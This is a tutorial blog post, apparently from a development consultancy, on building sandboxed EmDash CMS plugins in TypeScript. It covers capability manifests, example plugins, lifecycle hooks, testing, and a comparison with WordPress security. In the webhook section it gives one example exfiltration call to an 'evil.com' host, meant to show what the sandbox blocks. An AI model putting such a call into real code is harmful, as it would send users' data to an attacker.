The plugin ecosystem is what made WordPress the dominant CMS β and it's also what made it the most exploited. In 2025, Patchstack reported 11,300+ new vulnerabilities, with 91% originating from plugins. Every WordPress plugin runs in the same PHP process, with full access to the database, filesystem, and network. One compromised plugin means a compromised site.
Cloudflare's EmDash takes a fundamentally different approach. Every plugin runs in its own V8 isolate β a Dynamic Worker β with a capability-based manifest that declares exactly what the plugin can do. No manifest entry for network:fetch? The plugin physically cannot make HTTP requests. Period.
This guide is a deep dive into building EmDash plugins with TypeScript. We'll cover the capability manifest system, the Dynamic Workers sandbox architecture, practical plugin examples, lifecycle hooks, testing, licensing, and how the security model compares to WordPress. Whether you're a WordPress plugin developer looking to transition or a TypeScript developer exploring EmDash for the first time, this is your reference.
π Table of Contents
- 1.What Are EmDash Plugins?
- 2.The Capability Manifest System
- 3.Dynamic Workers: The Sandbox Architecture
- 4.Building a Content Notification Plugin
- 5.Building a Webhook Integration Plugin
- 6.Plugin Lifecycle Hooks Reference
- 7.Testing and Debugging Plugins
- 8.Plugin Licensing: MIT, Commercial & Everything In Between
- 9.Security Comparison: EmDash vs WordPress Plugins
- 10.How Lushbinary Builds EmDash Plugins
1What Are EmDash Plugins?
EmDash plugins are TypeScript modules that extend the CMS through a well-defined, sandboxed API. Unlike WordPress plugins that hook into a global PHP runtime, EmDash plugins are self-contained workers that communicate with the core CMS through message passing and declared capabilities.
Every plugin starts with a single entry point: definePlugin(). This function accepts a configuration object that tells EmDash what the plugin is called, what version it is, what it needs access to, and what lifecycle hooks it implements.
import { definePlugin } from "emdash/plugin";
export default definePlugin({
name: "my-first-plugin",
version: "1.0.0",
capabilities: [
"content:read",
"content:write",
"admin:ui",
],
onActivate({ admin }) {
admin.registerPanel({
title: "My Plugin Dashboard",
path: "/my-plugin",
component: () => "<h1>Hello from my plugin!</h1>",
});
},
onContentChange({ content, action }) {
console.log(`Content ${action}: ${content.title}`);
},
});The key difference from WordPress: this plugin can only read and write content and register an admin panel. It cannot send emails, make network requests, access KV storage, or schedule cron jobs. Those capabilities simply don't exist in its runtime environment.
Think of capabilities like mobile app permissions. Your phone doesn't let a calculator app access your camera unless you explicitly grant it. EmDash applies the same principle to CMS plugins β except the permissions are declared at build time and enforced at the V8 isolate level.
2The Capability Manifest System
The capability manifest is the heart of EmDash's security model. Every plugin must declare its capabilities upfront in the capabilities array. The CMS reads this manifest before spinning up the plugin's worker and provisions only the APIs that match the declared capabilities.
Here's the full list of available capabilities as of EmDash v0.1.0:
// Plugin manifest structure
{
"name": "my-plugin",
"version": "1.0.0",
"capabilities": [
"content:read", // Read posts, pages, custom types
"content:write", // Create, update, delete content
"email:send", // Send transactional emails
"network:fetch", // Make outbound HTTP requests
"storage:kv", // Read/write to plugin-scoped KV
"cron:schedule", // Register scheduled tasks
"admin:ui", // Register admin panels & widgets
"media:read", // Access uploaded media files
"media:write", // Upload and manage media
"auth:read" // Read user/session information
],
"network": {
"allowedHostnames": [
"api.slack.com",
"hooks.zapier.com"
]
}
}Notice the network field. Even when a plugin declares network:fetch, it must also specify which hostnames it's allowed to contact. A plugin that declares "allowedHostnames": ["api.slack.com"] literally cannot make requests to any other domain. The V8 isolate enforces this at the runtime level.
- Least privilege by default: If you don't declare a capability, the API doesn't exist in your plugin's scope. There's no global
fetch()unless you ask for it. - Granular network control: Network access is hostname-scoped. No wildcard access to the entire internet.
- Scoped storage: KV storage is namespaced per plugin. Plugin A cannot read Plugin B's data.
- Auditable: Site owners can review exactly what each plugin can do before installing it. No hidden capabilities.
WordPress comparison: A WordPress SEO plugin has the same database access as a WordPress security plugin. Both can read your wp_users table, modify wp_options, and write to the filesystem. In EmDash, an SEO plugin with only content:read and admin:ui capabilities physically cannot touch anything else.
3Dynamic Workers: The Sandbox Architecture
Under the hood, EmDash plugins run inside Dynamic Workers β Cloudflare's mechanism for spinning up V8 isolates on demand. Each plugin gets its own isolate with its own memory space, its own execution context, and its own capability-scoped API surface.
Here's what that means in practice:
- No shared memory: Plugin A cannot read Plugin B's variables, closures, or state. Each isolate is a clean room.
- No filesystem access: There is no
fsmodule. Plugins cannot read or write files on the server. - No direct database access: Plugins interact with content through the EmDash Content API, not raw SQL queries. The API enforces permissions based on the manifest.
- CPU and memory limits: Each isolate has bounded CPU time and memory. A runaway plugin cannot starve the CMS or other plugins.
- Cold start in milliseconds: V8 isolates spin up in under 5ms, compared to hundreds of milliseconds for container-based sandboxes. This makes per-request plugin execution practical.
// How EmDash provisions a plugin worker (simplified) // // 1. Read plugin manifest β extract capabilities // 2. Create V8 isolate with capability-scoped bindings // 3. Inject only the APIs the plugin declared // 4. Execute plugin code inside the isolate // 5. Tear down isolate when request completes // If manifest declares: ["content:read", "storage:kv"] // The isolate receives: // β ctx.content.list() // β ctx.content.get(id) // β ctx.kv.get(key) // β ctx.kv.put(key, value) // β ctx.content.create() β undefined // β ctx.email.send() β undefined // β fetch() β undefined // β ctx.cron.register() β undefined
This is a fundamentally different model from WordPress, where every plugin shares the same PHP process and has access to every global function, every database table, and every file on disk. It's also different from container-based sandboxing (like Docker), which has higher overhead and coarser isolation boundaries.
When running on Cloudflare, Dynamic Workers leverage the same infrastructure that powers Cloudflare Workers β the same V8 engine, the same global network, the same sub-millisecond cold starts. When running on Node.js (self-hosted), EmDash uses workerd to provide the same isolation guarantees locally. For more on the Cloudflare deployment model, see our EmDash developer setup guide.
Key insight: The site owner never sees your plugin source code. The plugin runs as a compiled worker bundle. This enables commercial and proprietary plugins without any licensing friction β your code stays your code.
4Building a Content Notification Plugin
Let's build a practical plugin: a content notification system that sends an email to the site admin whenever a new post is published. This demonstrates the content:read, email:send, and storage:kv capabilities working together.
import { definePlugin } from "emdash/plugin";
export default definePlugin({
name: "content-notifier",
version: "1.0.0",
capabilities: [
"content:read",
"email:send",
"storage:kv",
],
async onInstall({ kv }) {
// Set default notification email on install
await kv.put("notify-email", "admin@example.com");
await kv.put("notify-on-publish", "true");
await kv.put("notify-on-update", "false");
},
async onContentChange({ content, action, email, kv }) {
// Only notify on publish events
if (action !== "publish") return;
const notifyEmail = await kv.get("notify-email");
const shouldNotify = await kv.get("notify-on-publish");
if (shouldNotify !== "true" || !notifyEmail) return;
await email.send({
to: notifyEmail,
subject: `New post published: ${content.title}`,
html: `
<h2>${content.title}</h2>
<p>A new post was published on your EmDash site.</p>
<p>Author: ${content.author?.name ?? "Unknown"}</p>
<p>Published: ${new Date().toISOString()}</p>
<a href="${content.url}">View post</a>
`,
});
},
});A few things to notice about this plugin:
- It declares exactly three capabilities. It cannot make network requests, register admin panels, or schedule cron jobs.
- KV storage is scoped to this plugin. The keys
notify-emailandnotify-on-publishare namespaced β no other plugin can read or overwrite them. - The
email.send()API is injected by the runtime only becauseemail:sendis in the capabilities array. Remove it, andemailwould beundefinedin the hook parameters. - The plugin uses
onInstallto set sensible defaults. This runs once when the site admin installs the plugin.
5Building a Webhook Integration Plugin
Now let's build something that requires network access: a webhook plugin that posts to Slack whenever content changes. This demonstrates the network:fetch capability with hostname restrictions.
import { definePlugin } from "emdash/plugin";
export default definePlugin({
name: "slack-webhook",
version: "1.2.0",
capabilities: [
"content:read",
"network:fetch",
"storage:kv",
"admin:ui",
],
network: {
allowedHostnames: ["hooks.slack.com"],
},
async onInstall({ kv, admin }) {
await kv.put("webhook-url", "");
await kv.put("notify-channels", "content");
},
onActivate({ admin }) {
admin.registerPanel({
title: "Slack Integration",
path: "/slack-webhook",
component: SlackSettingsPanel,
});
},
async onContentChange({ content, action, kv, fetch }) {
const webhookUrl = await kv.get("webhook-url");
if (!webhookUrl) return;
const channels = await kv.get("notify-channels");
if (!channels?.includes(action)) return;
// fetch() is scoped to allowedHostnames only
await fetch(webhookUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
text: `π Content ${action}: *${content.title}*`,
blocks: [
{
type: "section",
text: {
type: "mrkdwn",
text: [
`*${content.title}*`,
`Action: ${action}`,
`Type: ${content.type}`,
`Author: ${content.author?.name ?? "Unknown"}`,
].join("\n"),
},
},
],
}),
});
},
});
function SlackSettingsPanel() {
return "<div>Slack webhook configuration UI</div>";
}The critical security detail here is the network.allowedHostnames field. This plugin declares that it needs to make HTTP requests, but only to hooks.slack.com. If the plugin code tried to fetch("https://evil.com/exfiltrate"), the request would be blocked at the isolate level. The DNS resolution never happens.
This is a massive improvement over WordPress, where any plugin with network access (which is all of them, since PHP's wp_remote_get() is globally available) can phone home to any server on the internet. Supply chain attacks in WordPress plugins often exploit this exact vector.
Real-world scenario: In 2024, a popular WordPress form plugin was compromised via a supply chain attack. The malicious update exfiltrated form submissions to an external server. In EmDash, this attack would fail because the plugin's manifest would only allow requests to the form service's own API hostname.
6Plugin Lifecycle Hooks Reference
EmDash plugins interact with the CMS through lifecycle hooks β functions that fire at specific points in the content management workflow. Here's the complete reference:
// Complete lifecycle hooks reference
definePlugin({
name: "lifecycle-demo",
version: "1.0.0",
capabilities: ["content:read", "content:write",
"storage:kv", "cron:schedule", "admin:ui"],
// ββ Installation & Activation ββββββββββββββ
onInstall({ kv }) {
// Runs once when plugin is first installed
// Use for setting defaults, creating KV keys
},
onUninstall({ kv }) {
// Runs when plugin is removed
// Clean up KV data, deregister resources
},
onActivate({ admin, kv }) {
// Runs each time the plugin is activated
// Register admin panels, set up UI
},
onDeactivate({ kv }) {
// Runs when plugin is deactivated (not removed)
},
// ββ Content Events βββββββββββββββββββββββββ
onContentChange({ content, action, kv }) {
// Fires on: create, update, publish, unpublish,
// delete, archive
// "action" tells you which event occurred
},
onBeforeContentSave({ content, action }) {
// Fires before content is persisted
// Return modified content to transform it
// Return null to cancel the save
return { ...content, title: content.title.trim() };
},
// ββ Scheduled Tasks ββββββββββββββββββββββββ
onCron({ schedule, kv, content }) {
// Fires on the declared cron schedule
// Requires "cron:schedule" capability
},
// ββ HTTP Handlers ββββββββββββββββββββββββββ
onRequest({ request, kv }) {
// Handle incoming HTTP requests to plugin routes
// Useful for webhooks, API endpoints
return new Response("OK", { status: 200 });
},
});Each hook receives a context object containing only the APIs that match the plugin's declared capabilities. If your plugin doesn't declare storage:kv, the kv parameter won't exist in the context.
- onInstall / onUninstall: Run exactly once. Use for setup and teardown of persistent state.
- onActivate / onDeactivate: Run each time the plugin is toggled. Use for registering or deregistering admin UI.
- onContentChange: The workhorse hook. Fires after any content mutation with the action type and full content object.
- onBeforeContentSave: Interceptor pattern. Lets you transform content before it's saved or cancel the save entirely by returning null.
- onCron: For scheduled background work like generating sitemaps, syncing external data, or sending digest emails.
- onRequest: Turns your plugin into an API endpoint. Useful for receiving webhooks from external services or exposing custom REST endpoints.
7Testing and Debugging Plugins
EmDash provides first-class tooling for local plugin development. The CLI includes a dedicated plugin development server that simulates the full Dynamic Workers environment on your machine.
# Scaffold a new plugin project npx emdash plugin create my-plugin # Start the local dev server with hot reload npx emdash plugin dev # Run plugin tests (uses miniflare for isolation) npx emdash plugin test # Build for production npx emdash plugin build # Validate manifest and capabilities npx emdash plugin validate
The emdash plugin dev command spins up a local environment powered by miniflare that replicates the Dynamic Workers sandbox. Your plugin runs in a real V8 isolate with the same capability enforcement you'd get in production. This means if your plugin accidentally tries to use an API it didn't declare, you'll catch it during development β not after deployment.
For unit testing, EmDash provides test utilities that let you mock the capability context:
import { createTestContext } from "emdash/testing";
import plugin from "./index";
describe("content-notifier", () => {
it("sends email on publish", async () => {
const ctx = createTestContext({
capabilities: ["content:read", "email:send", "storage:kv"],
kv: {
"notify-email": "admin@example.com",
"notify-on-publish": "true",
},
});
await plugin.onContentChange({
...ctx,
content: { title: "Test Post", url: "/test" },
action: "publish",
});
expect(ctx.email.send).toHaveBeenCalledWith(
expect.objectContaining({
to: "admin@example.com",
subject: "New post published: Test Post",
})
);
});
it("skips notification when disabled", async () => {
const ctx = createTestContext({
capabilities: ["content:read", "email:send", "storage:kv"],
kv: {
"notify-email": "admin@example.com",
"notify-on-publish": "false",
},
});
await plugin.onContentChange({
...ctx,
content: { title: "Test Post", url: "/test" },
action: "publish",
});
expect(ctx.email.send).not.toHaveBeenCalled();
});
});The createTestContext utility creates a mock context with the same shape as the production runtime. It automatically stubs out capability APIs and provides assertion helpers. KV storage is backed by an in-memory map, so tests run fast without any external dependencies.
Debugging tip: Use npx emdash plugin dev --verbose to see every capability check in real time. The console will log when your plugin attempts to use an API, whether it was allowed, and the full request/response cycle for network calls.
8Plugin Licensing: MIT, Commercial & Everything In Between
One of the most significant differences between EmDash and WordPress for plugin developers is licensing freedom. WordPress is licensed under the GPL, which means all WordPress plugins must also be GPL-compatible. This has been a source of friction for commercial plugin developers for over a decade.
EmDash is MIT-licensed. The MIT license is permissive β it places no restrictions on derivative works. This means EmDash plugins can use any license whatsoever:
- MIT: Open source, permissive. Anyone can use, modify, and redistribute.
- Apache 2.0: Open source with patent protection.
- GPL: Copyleft, if you prefer. Nothing stops you.
- Proprietary / Commercial: Closed source, paid licenses, SaaS-only β all perfectly valid.
- BSL (Business Source License): Source-available with delayed open-source conversion.
The technical architecture reinforces this freedom. Because plugins run in isolated Dynamic Workers, the site never sees the plugin's source code. The plugin is compiled to a worker bundle before deployment. The CMS loads and executes the bundle β it doesn't need to read, parse, or redistribute the source. This is fundamentally different from WordPress, where plugins are PHP files that the server must read and interpret directly.
For commercial plugin developers: This means you can build a premium EmDash plugin, sell licenses, and distribute compiled bundles without exposing your source code. The GPL "distribution triggers open-source" concern that plagues WordPress premium plugins simply doesn't apply.
9Security Comparison: EmDash vs WordPress Plugins
Let's put the security models side by side. The numbers tell the story: WordPress had 11,300+ new vulnerabilities in 2025, with 91% coming from plugins. That's not a WordPress core problem β it's an architecture problem.
| Security Aspect | WordPress | EmDash |
|---|---|---|
| Plugin isolation | Shared PHP process | Separate V8 isolate per plugin |
| Database access | Full SQL access to all tables | Content API only, capability-gated |
| Filesystem access | Full read/write | None |
| Network access | Unrestricted | Hostname-scoped allow list |
| Cross-plugin access | Full (shared globals) | None (isolated memory) |
| Permission model | All-or-nothing | Capability-based manifest |
| Supply chain risk | High (full system access) | Contained (scoped capabilities) |
| Code visibility | Source on server | Compiled bundle only |
The fundamental issue with WordPress plugins is that they operate on an implicit trust model. Installing a plugin means granting it the same access as WordPress core itself. There's no way to install a WordPress plugin and say "you can read posts but you cannot access the users table."
EmDash flips this to an explicit grant model. Every capability must be declared, reviewed by the site owner, and enforced by the runtime. A compromised EmDash plugin can only do damage within the boundaries of its declared capabilities β and those boundaries are enforced at the V8 isolate level, not by application-level checks that could be bypassed.
Consider the common WordPress attack vectors and how they map to EmDash:
- SQL injection via plugin: Not possible in EmDash. Plugins don't have SQL access. They use a typed Content API.
- File upload vulnerability: Not possible unless the plugin declares
media:write, and even then, uploads go through EmDash's media pipeline with type validation. - Data exfiltration: Contained by hostname-scoped network access. A plugin can only send data to pre-declared hostnames.
- Privilege escalation: Not possible. Capabilities are set at install time and enforced by the isolate. A plugin cannot grant itself new capabilities at runtime.
- Cross-plugin contamination: Not possible. Each plugin runs in its own isolate with its own memory space.
The bottom line: EmDash doesn't eliminate the possibility of plugin bugs. But it dramatically reduces the blast radius of any single vulnerability. A compromised EmDash plugin with content:read and email:send capabilities can, at worst, read your content and send emails. It cannot access your database, exfiltrate data to arbitrary servers, or compromise other plugins.
10How Lushbinary Builds EmDash Plugins
At Lushbinary, we've been building on EmDash since its preview launch. Our approach to plugin development follows a few principles that we've found work well for both client projects and our own internal tools.
Minimal capabilities, always. We start every plugin with the absolute minimum set of capabilities and add more only when there's a concrete requirement. A plugin that needs to display analytics in the admin panel gets content:read and admin:ui β nothing else. If we later need to sync data to an external service, we add network:fetch with a specific hostname. The manifest is a living document that grows with the plugin's requirements.
Test in isolation first. We use createTestContext extensively to unit test every lifecycle hook before running the plugin in the dev server. This catches capability mismatches early β if a test passes but the dev server throws an "undefined capability" error, we know we forgot to declare something.
Separate concerns into separate plugins. Rather than building monolithic plugins that do everything, we build focused plugins that do one thing well. A notification plugin handles notifications. An analytics plugin handles analytics. An SEO plugin handles SEO. This keeps capability surfaces small and makes plugins easier to audit, test, and maintain.
Leverage the MCP integration. EmDash's built-in MCP server means AI agents can interact with the CMS natively. We build plugins that expose custom MCP tools, letting AI agents trigger plugin functionality through natural language. For example, our content workflow plugin lets editors say "schedule this post for next Tuesday at 9am" and the MCP tool handles the rest.
- We've built content syndication plugins that push posts to multiple platforms using scoped
network:fetchcapabilities. - We've built custom analytics dashboards using
admin:uiandcontent:readβ no network access needed since the data lives in EmDash. - We've built automated content pipelines using
cron:scheduleandcontent:writefor clients who need regular content updates from external sources. - We've helped clients migrate complex WordPress plugin functionality to EmDash's sandboxed model, often finding that the migration forces better architecture decisions.
The transition from WordPress plugin development to EmDash plugin development is surprisingly smooth for TypeScript developers. The biggest mental shift is moving from "I can do anything" to "I declare what I need." Once you internalize that, the development experience is faster, safer, and more predictable. For a complete walkthrough of setting up your EmDash development environment, check out our Cloudflare EmDash developer guide.
π Free EmDash Plugin Development Consultation
Want to build custom EmDash plugins for your project or migrate existing WordPress plugin functionality to EmDash's sandboxed architecture? We'll review your requirements, recommend the right capability set, and help you ship your first plugin. Book a free 30-minute call with our team.
β Frequently Asked Questions
What capabilities can EmDash plugins declare?
EmDash plugins declare capabilities in a manifest including content:read, content:write, email:send, network:fetch (with allowed hostnames), storage:kv, cron:schedule, admin:ui, media:read, media:write, and auth:read. Each capability is explicitly granted and enforced at runtime by the Dynamic Workers sandbox.
How does EmDash sandbox plugins compared to WordPress?
EmDash runs each plugin in its own V8 isolate (Dynamic Worker) with no shared memory, no filesystem access, and no direct database access. WordPress plugins run in the same PHP process with full access to the database and filesystem, which is why 91% of WordPress vulnerabilities come from plugins.
Can EmDash plugins use any license or must they be MIT?
EmDash plugins can use any license β MIT, Apache 2.0, GPL, proprietary, or commercial. Because EmDash itself is MIT-licensed (not GPL like WordPress), there is no copyleft requirement. Plugin code runs in isolated workers and the site never sees the source code.
What is the definePlugin() function in EmDash?
definePlugin() is the entry point for every EmDash plugin. It accepts a configuration object with the plugin name, version, capabilities array, and lifecycle hooks like onInstall, onActivate, onContentChange, and onCron. The capabilities array declares exactly what the plugin is allowed to do.
How do I test EmDash plugins locally?
EmDash provides a local plugin development server via the emdash plugin dev command. This spins up a miniflare-based environment that simulates the Dynamic Workers sandbox, KV storage, and capability enforcement so you can test plugins before deploying them.
π Sources
- Cloudflare Blog: Introducing EmDash
- Patchstack: State of WordPress Security 2026
- Cloudflare Workers Runtime APIs
- V8 JavaScript Engine Documentation
Content was rephrased for compliance with licensing restrictions. Technical details sourced from official Cloudflare documentation and the EmDash open-source repository as of April 2026. Plugin APIs and capabilities may change β always verify on the official EmDash documentation.
Ready to Build EmDash Plugins?
Whether you're building custom plugins for a client project or migrating WordPress plugin functionality to EmDash's sandboxed architecture, our team can help you ship fast and secure.
Build Smarter, Launch Faster.
Book a free strategy call and explore how LushBinary can turn your vision into reality.
